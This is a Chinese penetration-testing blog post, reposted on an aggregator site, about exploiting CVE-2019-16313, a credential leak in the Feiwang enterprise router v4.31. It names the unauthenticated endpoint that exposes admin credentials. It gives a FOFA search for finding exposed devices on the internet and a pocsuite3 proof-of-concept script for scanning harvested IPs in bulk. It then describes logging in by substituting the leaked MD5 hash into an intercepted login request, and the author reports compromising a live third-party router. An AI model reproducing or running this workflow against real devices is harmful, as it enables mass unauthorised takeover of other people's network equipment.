admin管理员组文章数量:1661311
漏洞描述
蜂网互联企业级路由器v4.31存在接口未授权访问,导致攻击者可以是通过此漏洞得到路由器账号密码接管路由器
漏洞影响
蜂网互联企业级路由器v4.31
漏洞复现
蜂网互联企业级路由器v4.31的/action/usermanager.htm
接口存在未授权访问,可通过直接访问获得账号密码。
fofa搜索
app="蜂网互联-互联企业级路由器",获取公网上蜂网互联企业级路由器v4.31的ip
将设备ip导出到url.txt
编写poc批量验证漏洞
这里使用pocsuite3对漏洞进行批量验证,所以对pocsuite3的标准poc模板进行修改即可利用
# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase
# 继承POCBase类
class DemoPOC(POCBase):
vulID = '0' # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
version = "" # 版本
author = "" # 作者名称
vulDate = '' # 漏洞公开时间
createDate = '' #编写POC时间
updateDate = '' # 更新POC时间
references = [] #漏洞地址来源,0day不用写
name = '' # POC名称
appPowerLink = '' # 漏洞厂商的主页地址
appName = '' # 漏洞应用名称
appVersion = '' # 漏洞影响版本
vulType = '' # 漏洞类型
desc = """
xxx
""" # 漏洞简要描述
samples = [] # 测试样例,使用POC测试成功的网站
install_requires = []
# 定义--verify参数,poc函数
def _verify(self):
payload = 'xxx'
result={}
target=self.url
req=requests.get(target+payload)
res=req.text
if('xxx' in res):
result['VerifyInfo']={}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable.')
# 返回成功或失败消息
return output
# 定义--attack参数,attack函数
def _attack(self):
return self._verify()
# 注册poc
register_poc(DemoPOC)
这里只需要修改veryfi部分即可
payload=/action/usermanager.htm
接口,payload再拼接到url中进行访问,if()判断如果在访问返回的数据中带有pwd字段则判定漏洞存在,否则不存在。
pocsuite3运行编写好的POC对前文中的url.txt里的ip进行批量验证
pocsuite -r poc.py -f url.txt --verify
成功验证出三个存在漏洞的ip
漏洞验证
访问刚刚poc跑出来的三个ip的其中一个,进行手工验证
访问/action/usermanager.htm接口获得管理员账号和md5加密后的密码(这里不需要对md5进行解密,后面会提到原因)
输入账号admin后抓包,这里密码我输入的是12345
抓包后发现12345自动被前端加密了,这意味着后端只会验证加密后的密文,所以直接将pwd的值替换为管理员密码的md5密文
替换后放包
成功进入路由器管理页面
版权声明:本文标题:【渗透测试实战】蜂网互联-企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1729921768a1216456.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论